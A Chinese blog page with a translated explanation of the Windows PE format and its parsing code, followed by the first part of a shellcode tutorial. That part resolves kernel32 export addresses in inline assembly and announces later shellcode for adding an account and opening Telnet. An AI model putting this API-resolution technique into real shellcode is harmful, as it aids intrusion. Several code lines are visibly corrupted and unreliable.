    在资源数据段(.rsrc)之中拥有这么多结构有一个好处,就是你可以不存取资源本身而直接可以从这个段收集很多信息。例如,你可以获得有多少种资 源、哪些资源(如果有的话)使用了特别的语言ID、特定的资源是否存在以及单独种类资源的尺寸。为了示范如何利用这一信息,以下的函数说明了如何决定一个 文件中包含的不同种类的资源: // PEFILE.C
[/QUOTE]
int WINAPI GetListOfResourceTypes(LPVOID lpFile, HANDLE hHeap, char **pszResTypes)
{
  PIMAGE_RESOURCE_DIRECTORY prdRoot;
  PIMAGE_RESOURCE_DIRECTORY_ENTRY prde;
  char *pMem;
  int nCnt, i;
  /* 获得资源树的根目录 */
  if ((prdRoot = (PIMAGE_RESOURCE_DIRECTORY)ImageDirectoryOffset
      (lpFile, IMAGE_DIRECTORY_ENTRY_RESOURCE)) == NULL)
    return 0;
  /* 在堆上分配足够的空间来包括所有类型 */
  nCnt = prdRoot->NumberOfIdEntries * (MAXRESOURCENAME + 1);
  *pszResTypes = (char *)HeapAlloc(hHeap, HEAP_ZERO_MEMORY,
      nCnt);
  if ((pMem = *pszResTypes) == NULL)
    return 0;
  /* 将指针指向第一个资源种类的入口 */
  prde = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((DWORD)prdRoot +
      sizeof (IMAGE_RESOURCE_DIRECTORY));
  /* 在所有的资源目录入口类型中循环 */
  for (i = 0; i < prdRoot->NumberOfIdEntries; i++)
  {
    if (LoadString(hDll, prde->Name, pMem, MAXRESOURCENAME))
      pMem += strlen(pMem) + 1;
    prde++;
  }
  return nCnt;
}
[/QUOTE] 
这 个函数将一个资源种类名称的列表写入了由pszResTypes标识的变量中。请注意,在这个函数的核心部分,LoadString是使用各自资源种类目 录入口的Name域来作为字符串ID的。如果你查看PEFILE.RC,你会发现我定义了一系列的资源种类的字符串,并且它们的ID与它们在目录入口中的 定义完全相同。PEFILE.DLL还有有一个函数,它返回了.rsrc段中的资源对象总数。这样一来,从这个段中提取其它的信息,借助这些函数或另外编 写函数就方便多了。 

导出数据段,.edata 

   .edata段包含了应用程序或DLL的导出数据。在这个段出现的时候,它会包含一个到达导出信息的导出目录。 // WINNT.H

typedef struct _IMAGE_EXPORT_DIRECTORY {
  ULONG Characteristics;
  ULONG TimeDateStamp;
  USHORT MajorVersion;
  USHORT MinorVersion;
  ULONG Name;
  ULONG Base;
  ULONG NumberOfFunctions;
  ULONG NumberOfNames;
  PULONG *AddressOfFunctions;
  PULONG *AddressOfNames;
  PUSHORT *AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

导出目录中的Name域标识了可执行模块的名称。NumberOfFunctions域和NumberOfNames域表示模块中有多少导出的函数以及这些函数的名称。 
    AddressOfFunctions域是一个到导出函数入口列表的偏移量。AddressOfNames域是到一个导出函数名称列表起始处偏移量的 地址,这个列表是由null分隔的。AddressOfNameOrdinals是一个到相同导出函数顺序值(每个值2字节长)列表的偏移量。 
    三个AddressOf...域是当模块装载时进程地址空间中的相对虚拟地址。一旦模块被装载,那么要获得进程地质空间中的确切地址的话,就应该在相 对虚拟地址上加上模块的基地址。可是,在文件被装载前,仍然可以决定这一地址:只要从给定的域地址中减去段头部的虚拟地址 (VirtualAddress),再加上段实体的偏移量(PointerToRawData),这个结果就是映像文件中的偏移量了。以下的例子解说了这 一技术: 
// PEFILE.C

int WINAPI GetExportFunctionNames(LPVOID lpFile, HANDLE hHeap, char **pszFunctions)
{
  IMAGE_SECTION_HEADER sh;
  PIMAGE_EXPORT_DIRECTORY ped;
  char *pNames, *pCnt;
  int i, nCnt;
  /* 获得.edata域中的段头部和指向数据目录的指针 */
  if ((ped = (PIMAGE_EXPORT_DIRECTORY)ImageDirectoryOffset
      (lpFile, IMAGE_DIRECTORY_ENTRY_EXPORT)) == NULL)
    return 0;
  GetSectionHdrByName (lpFile, &sh, ".edata");
  /* 决定导出函数名称的偏移量 */
  pNames = (char *)(*(int *)((int)ped->AddressOfNames -
    (int)sh.VirtualAddress + (int)sh.PointerToRawData +
    (int)lpFile) - (int)sh.VirtualAddress +
    (int)sh.PointerToRawData + (int)lpFile);
  /* 计算出要为所有的字符串分配多少内存 */
  pCnt = pNames;
  for (i = 0; i < (int)ped->NumberOfNames; i++)
    while (*pCnt++);
  nCnt = (int)(pCnt.pNames);
  /* 在堆上为函数名称分配内存 */
  *pszFunctions = HeapAlloc (hHeap, HEAP_ZERO_MEMORY, nCnt);
  /* 将所有字符串复制到缓冲区 */
  CopyMemory((LPVOID)*pszFunctions, (LPVOID)pNames, nCnt);
  return nCnt;
}


请 注意,在这个函数之中,变量pNames是由决定偏移量地址和当前偏移量位置的方法来赋值的。偏移量的地址和偏移量本身都是相对虚拟地址,因此在使用之前 必须进行转换——函数之中体现了这一点。虽然你可以编写一个类似的函数来决定顺序值或函数入口点,但是我为什么不为你做好呢?—— GetNumberOfExportedFunctions、GetExportFunctionEntryPoints和 GetExportFunctionOrdinals已经存在于PEFILE.DLL之中了。 

导入数据段,.idata 

    .idata段是导入数据,包括导入库和导入地址名称表。虽然定义了IMAGE_DIRECTORY_ENTRY_IMPORT,但是WINNT.H 之中并无相应的导入目录结构。作为代替,其中有若干其它的结构,名为IMAGE_IMPORT_BY_NAME、IMAGE_THUNK_DATA与 IMAGE_IMPORT_DESCRIPTOR。在我个人看来,我实在不知道这些结构是如何和.idata段发生关联的,所以我花了若干个小时来破译. idata段实体并且得到了一个更简单的结构,我名之为IMAGE_IMPORT_MODULE_DIRECTORY。 // PEFILE.H

typedef struct tagImportDirectory
{
  DWORD dwRVAFunctionNameList;
  DWORD dwUseless1;
  DWORD dwUseless2;
  DWORD dwRVAModuleName;
  DWORD dwRVAFunctionAddressList;
} IMAGE_IMPORT_MODULE_DIRECTORY, *PIMAGE_IMPORT_MODULE_DIRECTORY;


和其它段的数据目录不同的是,这个是作为文件中的每个导入模块重复出现的。你可以将它看作模块数据目录列表中的一个入口,而不是一个整个数据段的数据目录。每个入口都是一个指向特定模块导入信息的目录。 
    IMAGE_IMPORT_MODULE_DIRECTORY结构中的一个域dwRVAModuleName是一个相对虚拟地址,它指向模块的名称。 结构中还有两个dwUseless参数,它们是为了保持段的对齐。PE文件格式规范提到了一些东西,关于导入标记、时间/日期标志以及主/次版本,但是在 我的实验中,这两个域自始而终都是空的,所以我仍然认为它们没有什么用处。 
   基于这个结构的定义,你便可以获得可执行文件中导入的所有模块和函数名称了。以下的函数示范了如何获得特定的PE文件中的所有导入函数名称: //PEFILE.C

int WINAPI GetImportModuleNames(LPVOID lpFile, HANDLE hHeap, char **pszModules)
{
  PIMAGE_IMPORT_MODULE_DIRECTORY pid;
  IMAGE_SECTION_HEADER idsh;
  BYTE *pData;
  int nCnt = 0, nSize = 0, i;
  char *pModule[1024];
  char *psz;
  pid = (PIMAGE_IMPORT_MODULE_DIRECTORY)ImageDirectoryOffset 
      (lpFile, IMAGE_DIRECTORY_ENTRY_IMPORT);
  pData = (BYTE *)pid;
  /* 定位.idata段头部 */
  if (!GetSectionHdrByName(lpFile, &idsh, ".idata"))
    return 0;
  /* 提取所有导入模块 */
  while (pid->dwRVAModuleName)
  {
    /* 为绝对字符串偏移量分配缓冲区 */
    pModule[nCnt] = (char *)(pData + 
        (pid->dwRVAModuleName-idsh.VirtualAddress));
    nSize += strlen(pModule[nCnt]) + 1;
    /* 增至下一个导入目录入口 */
    pid++;
    nCnt++;
  }
  /* 将所有字符串赋值到一大块的堆内存中 */
  *pszModules = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, nSize);
  psz = *pszModules;
  for (i = 0; i < nCnt; i++)
  {
    strcpy(psz, pModule[i]);
    psz += strlen (psz) + 1;
  }
  return nCnt;
}
 
这 个函数非常好懂,然而有一点值得指出——注意while循环。这个循环当pid->dwRVAModuleName为0的时候终止,这就暗示了在 IMAGE_IMPORT_MODULE_DIRECTORY结构列表的末尾有一个空的结构,这个结构拥有一个0值,至少dwRVAModuleName 域为0。这便是我在对文件的实验中以及之后在PE文件格式中研究的行为。 
   这个结构中的第一个域dwRVAFunctionNameList是一个相对虚拟地址,这个地址指向一个相对虚拟地址的列表,这些地址是文件中的一些文件名。如下面的数据所示,所有导入模块的模块和函数名称都列于.idata段数据中了:

E6A7 0000 F6A7 0000 08A8 0000 1AA8 0000 ................
28A8 0000 3CA8 0000 4CA8 0000 0000 0000 (...<...L.......
0000 4765 744F 7065 6E46 696C 654E 616D ..GetOpenFileNam
6541 0000 636F 6D64 6C67 3332 2E64 6C6C eA..comdlg32.dll
0000 2500 4372 6561 7465 466F 6E74 496E ..%.CreateFontIn
6469 7265 6374 4100 4744 4933 322E 646C directA.GDI32.dl
6C00 A000 4765 7444 6576 6963 6543 6170 l...GetDeviceCap
7300 C600 4765 7453 746F 636B 4F62 6A65 s...GetStockObje
6374 0000 D500 4765 7454 6578 744D 6574 ct....GetTextMet
7269 6373 4100 1001 5365 6C65 6374 4F62 ricsA...SelectOb
6A65 6374 0000 1601 5365 7442 6B43 6F6C ject....SetBkCol
6F72 0000 3501 5365 7454 6578 7443 6F6C or..5.SetTextCol
6F72 0000 4501 5465 7874 4F75 7441 0000 or..E.TextOutA..

以 上的数据是EXEVIEW.EXE示例程序.idata段的一部分。这个特别的段表示了导入模块列表和函数名称列表的起始处。如果你开始检查数据中的这个 段,你应该认出一些熟悉的Win32 API函数以及模块名称。从上往下读的话,你可以找到GetOpenFileNameA,紧接着是 COMDLG32.DLL。然后你能发现CreateFontIndirectA,紧接着是模块GDI32.DLL,以及之后的 GetDeviceCaps、GetStockObject、GetTextMetrics等等。 
   这样的式样会在.idata段中重复出 现。第一个模块是COMDLG32.DLL,第二个是GDI32.DLL。请注意第一个模块只导出了一个函数,而第二个模块导出了很多函数。在这两种情况 下,函数和模块的排列的方法是首先出现一个函数名,之后是模块名,然后是其它的函数名(如果有的话)。 
   以下的函数示范了如何获得指定模块的所有函数名。 // PEFILE.C

int WINAPI GetImportFunctionNamesByModule(LPVOID lpFile, HANDLE hHeap,
    char *pszModule, char **pszFunctions)
{
  PIMAGE_IMPORT_MODULE_DIRECTORY pid;
  IMAGE_SECTION_HEADER idsh;
  DWORD dwBase;
  int nCnt = 0, nSize = 0;
  DWORD dwFunction;
  char *psz;
  /* 定位.idata段的头部 */
  if (!GetSectionHdrByName(lpFile, &idsh, ".idata"))
    return 0;
  pid = (PIMAGE_IMPORT_MODULE_DIRECTORY)ImageDirectoryOffset 
      (lpFile, IMAGE_DIRECTORY_ENTRY_IMPORT);
  dwBase = ((DWORD)pid. idsh.VirtualAddress);
  /* 查找模块的pid */
  while (pid->dwRVAModuleName && strcmp (pszModule, 
      (char *)(pid->dwRVAModuleName+dwBase)))
    pid++;
  /* 如果模块未找到,就退出 */
  if (!pid->dwRVAModuleName)
    return 0;
  /* 函数的总数和字符串长度 */
  dwFunction = pid->dwRVAFunctionNameList;
  while (dwFunction && *(DWORD *)(dwFunction + dwBase) &&
      *(char *)((*(DWORD *)(dwFunction + dwBase)) + dwBase+2))
  {
    nSize += strlen ((char *)((*(DWORD *)(dwFunction +
      dwBase)) + dwBase+2)) + 1;
    dwFunction += 4;
    nCnt++;
  }
  /* 在堆上分配函数名称的空间 */
  *pszFunctions = HeapAlloc (hHeap, HEAP_ZERO_MEMORY, nSize);
  psz = *pszFunctions;
  /* 向内存指针复制函数名称 */
  dwFunction = pid->dwRVAFunctionNameList;
  while (dwFunction && *(DWORD *)(dwFunction + dwBase) &&
    *((char *)((*(DWORD *)(dwFunction + dwBase)) + dwBase+2)))
  {
    strcpy (psz, (char *)((*(DWORD *)(dwFunction + dwBase)) +
        dwBase+2));
    psz += strlen((char *)((*(DWORD *)(dwFunction + dwBase))+
        dwBase+2)) + 1;
    dwFunction += 4;
  }
  return nCnt;
}
 
就像GetImportModuleNames函数一样,这一函数依靠每个信息列表的末端来获得一个置零的入口。这在种情况下,函数名称列表就是以零结尾的。 
    最后一个域dwRVAFunctionAddressList是一个相对虚拟地址,它指向一个虚拟地址表。在文件装载的时候,这个虚拟地址表会被装载 器置于段数据之中。但是在文件装载前,这些虚拟地址会被一些严密符合函数名称列表的虚拟地址替换。所以在文件装载之前,有两个同样的虚拟地址列表,它们指 向导入函数列表。 

调试信息段,.debug 

   调试信息位于.debug段之中,同时PE文件格式也支持单独的调 试文件(通常由.DBG扩展名标识)作为一种将调试信息集中的方法。调试段包含了调试信息,但是调试目录却位于早先提到的.rdata段之中。这其中每个 目录都涉及了.debug段之中的调试信息。调试目录的结构IMAGE_DEBUG_DIRECTORY被定义为: // WINNT.H

typedef struct _IMAGE_DEBUG_DIRECTORY {
  ULONG Characteristics;
  ULONG TimeDateStamp;
  USHORT MajorVersion;
  USHORT MinorVersion;
  ULONG Type;
  ULONG SizeOfData;
  ULONG AddressOfRawData;
  ULONG PointerToRawData;
} IMAGE_DEBUG_DIRECTORY, *PIMAGE_DEBUG_DIRECTORY;

这个段被分为单独的部分,每个部分为不同种类的调试信息数据。对于每个部分来说都是一个像上边一样的调试目录。不同的调试信息种类如下: // WINNT.H

#define IMAGE_DEBUG_TYPE_UNKNOWN 0
#define IMAGE_DEBUG_TYPE_COFF 1
#define IMAGE_DEBUG_TYPE_CODEVIEW 2
#define IMAGE_DEBUG_TYPE_FPO 3
#define IMAGE_DEBUG_TYPE_MISC 4
  
每 个目录之中的Type域表示该目录的调试信息种类。如你所见,在上边的表中,PE文件格式支持很多不同的调试信息种类,以及一些其它的信息域。对于那些来 说,IMAGE_DEBUG_TYPE_MISC信息是唯一的。这一信息被添加到描述可执行映像的混杂信息之中,这些混杂信息不能被添加到PE文件格式任 何结构化的数据段之中。这就是映像文件中最合适的位置,映像名称则肯定会出现在这里。如果映像导出了信息,那么导出数据段也会包含这一映像名称。 
    每种调试信息都拥有自己的头部结构,该结构定义了它自己的数据。这些结构都列于WINNT.H之中。关于IMAGE_DEBUG_DIRECTORY 一件有趣的事就是它包括了两个标识调试信息的域。第一个是AddressOfRawData,为相对文件装载的数据虚拟地址;另一个是 PointerToRawData,为数据所在PE文件之中的实际偏移量。这就使得定位指定的调试信息相当容易了。 
   作为最后的例子,请你考虑以下的函数代码,它从IMAGE_DEBUG_MISC结构中提取了映像名称。 //PEFILE.C

int WINAPI RetrieveModuleName(LPVOID lpFile, HANDLE hHeap, char **pszModule)
{
  PIMAGE_DEBUG_DIRECTORY pdd;
  PIMAGE_DEBUG_MISC pdm = NULL;
  int nCnt;
  if (!(pdd = (PIMAGE_DEBUG_DIRECTORY)ImageDirectoryOffset(lpFile, 
      IMAGE_DIRECTORY_ENTRY_DEBUG)))
  return 0;
  while (pdd->SizeOfData)
  {
    if (pdd->Type == IMAGE_DEBUG_TYPE_MISC)
    {
      pdm = (PIMAGE_DEBUG_MISC)((DWORD)pdd->PointerToRawData + (DWORD)lpFile);
      nCnt = lstrlen(pdm->Data) * (pdm->Unicode ? 2 : 1);
      *pszModule = (char *)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, nCnt+1);
      CopyMemory(*pszModule, pdm->Data, nCnt);
      break;
    }
    pdd ++;
  }
  if (pdm != NULL)
    return nCnt;
  else
    return 0;
}

你看到了,调试目录结构使得定位一个特定种类的调试信息变得相对容易了些。只要定位了IMAGE_DEBUG_MISC结构,提取映像名称就如同调用CopyMemory函数一样简单。 
   如上所述,调试信息可以被剥离到单独的.DBG文件中。Windows NT SDK包含了一个名为REBASE.EXE的程序可以实现这一目的。例如,以下的语句可以将一个名为TEST.EXE的调试信息剥离: 
   rebase -b 40000 -x c:/samples/testdir test.exe 
    调试信息被置于一个新的文件中,这个文件名为TEST.DBG,位于c:/samples/testdir之中。这个文件起始于一个单独的 IMAGE_SEPARATE_DEBUG_HEADER结构,接着是存在于原可执行映像之中的段头部的一份拷贝。在段头部之后,是.debug段的数 据。也就是说,在段头部之后,就是一系列的IMAGE_DEBUG_DIRECTORY结构及其相关的数据了。调试信息本身保留了如上所描述的常规映像文 件调试信息。 

PE文件格式总结 

   Windows NT的PE文件格式向熟悉Windows和MS-DOS环境的开发者引入了一种全新的结构。然而熟悉UNIX环境的开发者会发现PE文件格式与COFF规范很相像(如果它不是以COFF为基础的话)。 
   整个格式的组成:一个MS-DOS的MZ头部,之后是一个实模式的残余程序、PE文件标志、PE文件头部、PE可选头部、所有的段头部,最后是所有的段实体。 
   可选头部的末尾是一个数据目录入口的数组,这些相对虚拟地址指向段实体之中的数据目录。每个数据目录都表示了一个特定的段实体数据是如何组织的。 
   PE文件格式有11个预定义段,这是对Windows NT应用程序所通用的,但是每个应用程序可以为它自己的代码以及数据定义它自己独特的段。 
   .debug预定义段也可以分离为一个单独的调试文件。如果这样的话,就会有一个特定的调试头部来用于解析这个调试文件,PE文件中也会有一个标志来表示调试数据被分离了出去。


通用windows下shellcode的编写(一)
黑森林 发表于 2005-10-30 17:10:00
文章首先简单分析了PE文件格式及PE引出表,并给出了一个例程,演示了如何根据PE
相关技术查找引出函数及其地址
,随后分析了一种比较通用的获得Kernel32基址的方法,
最后结合理论进行简单的应用,给出了一个通用ShellCode.
本文同样结合我学习时的理解以比较容易理解的方式进行描述,但由于ShellCode的
复杂性,文章主要使用C和Asm来讲解,作者假设你已具有一定的C/Asm混合编程基础以及上
一篇的溢出理论基础,希望本文能让和我一样初学溢出技术的朋友有所提高.

[目录]

1,PE文件结构的简介,及PE引出表的分析.
1.1 PE文件简介
1.2 引出表分析
1.3 使用内联汇编写一个通用的根据DLL基址获得引出函数地址的实用函数
GetFunctionByName

2,通用Kernel32.DLL地址的获得方法.
2.1 结构化异常处理和TEB简介
2.2 使用内联汇编写一个通用的获得Kernel32.DLL函数基址的实用函数
GetKernel32

3,综合运用(一个简单的通用ShellCode)
3.1 综合前面所讲解的技术编写一个添加帐号及开启Telnet的简单ShellCode:
根据第2节所述技术使用我们自己实现的GetFunctionByName获得LoadLibraryA和
GetProcAddress函数地址,再使用这两个函数引入所有我们需要的函数实现期望的
功能.

4,参考资料.

5,关键字.
--------------------------------------------------------------------------------

一,PE文件结构及引出表基础
1,PE文件结构简介

PE(Portable Executable,移植的执行体),是微软Win32环境可执行文件的标准格式
(所谓可执行文件不光是.EXE文件,还包括.DLL/.VXD/.SYS/.VDM等)

PE文件结构(简化):

-----------------
│1,DOS MZ header│
-----------------
│2,DOS stub │
-----------------
│3,PE header │
-----------------
│4,Section table│
-----------------
│5,Section 1 │
-----------------
│6,Section 2 │
-----------------
│ Section ... │
-----------------
│n,Section n │
-----------------

记得在我还没有接确Win32编程时,我曾在Dos下运行过一个Win32可执行文件,程序只输出
了一行"This program cannot be run in DOS mode.",我觉得很有意思,它是怎么识别自
己不在Win32平台下的呢?其实它并没有进行识别,它可能简单到只输入这一行文字就退出
了,可能源码就像下面的C程序这么简单:

#i nclude
void main(void)
{
printf("This program cannot be run in DOS mode./n");
}

你可能会问"我在写Win32程序时并没有写过这样的语句啊?",其实这是由连接器(linker)
为你构建的一个16位DOS程序,当在16位系统(DOS/Windows 3.x)下运行Win32程序时它才会
被执行用来输出一串字符提示用户"这个程序不能在DOS模式下运行".

我们先来看看DOS MZ header到底是什么东西,下面是它在Winnt.h中的结构描述:

typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header
WORD e_magic; //0x00 Magic number
WORD e_cblp; //0x02 Bytes on last page of file
WORD e_cp; //0x04 Pages in file
WORD e_crlc; //0x06 Relocations
WORD e_cparhdr; //0x08 Size of header in paragraphs
WORD e_minalloc; //0x0a Minimum extra paragraphs needed
WORD e_maxalloc; //0x0c Maximum extra paragraphs needed
WORD e_ss; //0x0e Initial (relative) SS value
WORD e_sp; //0x10 Initial SP value
WORD e_csum; //0x12 Checksum
WORD e_ip; //0x14 Initial IP value
WORD e_cs; //0x16 Initial (relative) CS value
WORD e_lfarlc; //0x18 File address of relocation table
WORD e_ovno; //0x1a Overlay number
WORD e_res[4]; //0x1c Reserved words
WORD e_oemid; //0x24 OEM identifier (for e_oeminfo)
WORD e_oeminfo; //0x26 OEM information; e_oemid specific
WORD e_res2[10]; //0x28 Reserved words
LONG e_lfanew; //0x3c File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指针),cs(代码段寄存
器),需要分配的内存大小,checksum(校验和)等,当DOS准备为可执行文件建立进程时会读取其
中的值来完成初使化工作.

留意到最后一个结构成员了吗?微软的人对它的描述是File address of new exe header
意义是"新的exe文件头部地址",它是一个相对偏移值,我想文件偏移量你一定知道是什么吧!
e_lfanew就是一个文件偏移值,它指向PE header,它对我们来说非常重要.紧跟着DOS MZ header
的是DOS stub它是linker为我们建立的这个16位DOS程序的代码实体部分,就是它输出了
"This program cannot be run in DOS mode.".再后面就是PE header了,有人曾问过我PE头部
相对于.exe文件的偏移是不是固定的?这个可不好说,不同的编译器生成的stub长度可能不一样
(比如:它可能存储了这样一个字串来提示用户"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那么这个stub的长度将比前面的那个长),所以用一个固定值来定位PE header
是不科学的,这个时候我们就用到了e_lfanew,它指向真正的PE header,它总是正确吗?那是当然
的!linker总是会它赋予一个正确的值.所以我们要它精确定位PE header,同样的Win32 PELoader
也根据e_lfanew来定位真正的PE header,并使用PE header中的不同的成员值进行初使化,PE还
包涵了很多个"节"(Section),有用来存储数据的,有用来存可执行代码的,还有的是用来存资源
的(如:程序图标,位图,声音,对话框模板等)
下面我只简单分析一下PE结构与编写ShellCode相关的部分,如果你对其它部分也比较感兴趣
可以看看台港侯俊杰先生译的 中的相关内容以及Iczelion的经
典PE教程,我个人觉得将两者结合起来看要好一点.

2,引出表分析

在PE header结构(你可以Winnt.h中找到它)中包括一个DataDirectory结构成员数组,可以通
过这样的方法来找到它的位置:
PE头部偏移=可执行文件内存映象基址+0x3c(e_lfanew)
PE基址=可执行文件内存映象基址+PE头部偏移
引出表目录指针(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
引出函数名称表首指针(char**)=引出表目录基址+0x20
引出函数地址表首指针(DWORD **)=引出表目录指针+0x1c
它的结构定义是这样的:

typedef struct _Image_Data_Directory{
DWORD VirtualAddress;
DWORD isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

该结构数组共包括16成员,第一个成员的VirtualAddress存储了一个相对偏移量,它指向一个
IMAGE_EXPORT_DIRECTORY结构,它的定义是这样的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;//0x00
DWORD TimeDateStamp;//0x04
WORD MajorVersion;//0x08
WORD MinorVersion;//0x0a
DWORD Name;//0x0c
DWORD Base;//0x10
DWORD NumberOfFunctions;//0x14
DWORD NumberOfNames;//0x18
DWORD AddressOfFunctions;//0x1c RVA from base of image
DWORD AddressOfNames;//0x20 RVA from base of image
DWORD AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

其中AddressOfFunctions里又存储了一个二级指针,它指向一个DWORD型指针数组该数
组成员所指就是函数地址值,但其中的值是函数相对于可执行文件在内存映象中基地址的一
个相对偏移值,真正的函数地址等于这个相对偏移值+可执行文件在内存映象中的基地址,我
们可以Call这个计算后的真实地址来调用函数.AddressOfNames是一个二级字符指针,该数组
成员所指就是函数名称字符串相对于可执行文件在内存映象中的基地址的一个偏移值,同样
可以通过相对偏移值+可执行文件在内存映象中的基地址来引用函数名称字串.Name也是一个
字符指针,它也只存储了相对偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向
的字串就为"KERNEL32.dll".

3,本节应用实例

关于PE和引出表我们已经分析了与编写ShellCode密切相关的部分,这一部分的确有点难,
但一定要把它搞清楚,只有把它搞懂我们才能进行下一节的学习,在本节的最后附上一个小程序,
在内联汇编代码中大量使用了"间接引用",如果你对指针很熟悉基本上它很好理解,在程序里我
们实现了Windows API GetProcAddress的功能,这种技术对于想使用一些未公开的系统函数也是
非常之有用的.
------------ -----------------------------------------

GetFunctionByName函数可以从一个PE执行文件中以函数名查找引出表并返回引出函数地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我们不包括头文件也可以使用任何一个
Windows API.在我的机器上它是0x77e60000程序如下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//参数:
// ImageBase: 可执行文件的内存映象基址
// FuncName: 函数名称指针
// flen: 函数名称长度
//返回值:
// 函数成功时返回有效的函数地址,失败时返回0.
//最终在写ShellCode时,应该给该函数加上__inline声明,因为它要与ShellCode融为一体.

//注意,在本例中我们没有包括任何一个.h文件

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模块名,如果在查找KERNEL32.DLL的引出函数那么它将指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:xor eax,eax//如果没有找到,则返回0
Found:
}
}
/*
让我们来测试一下,先用GetFunctionByName获得kernel32.dll中LoadLibraryA
的地址,再用它装载user32.dll,再用GetFunctionByName获得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我机器上的kernel32.dll的基址,不同机器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相当于执行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的长度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C调用约定,由调用者调整堆栈
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相当于执行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函数的内联汇编代码有很多这样的语句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我试过使用mov eax,[ImageBase+eax+0x??]之类的语法,因为用到很多多级指针,而它们指向
的又是相对偏移量所以要不断的"获取和计算",否则很容易导致"访问违例".编译运行,弹出了
一个MessageBox标题和内容都是"test"看到了吗?你可能会问这个程序拿到其它机器上也可能
运行吗?在整个程序里我们唯一依赖的就是0x77e60000这个kernel32.dll基址,其它机器上的
可能不是这个值,如果这个地址值可以在程序运行时动态的计算出来,那么这个程序将非常通
用,它可以动态计算出来吗?答案是肯定的!下一节我们将来分析一种并不很流行但很通用的动
态计算获得kernel32.dll基址的方法.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值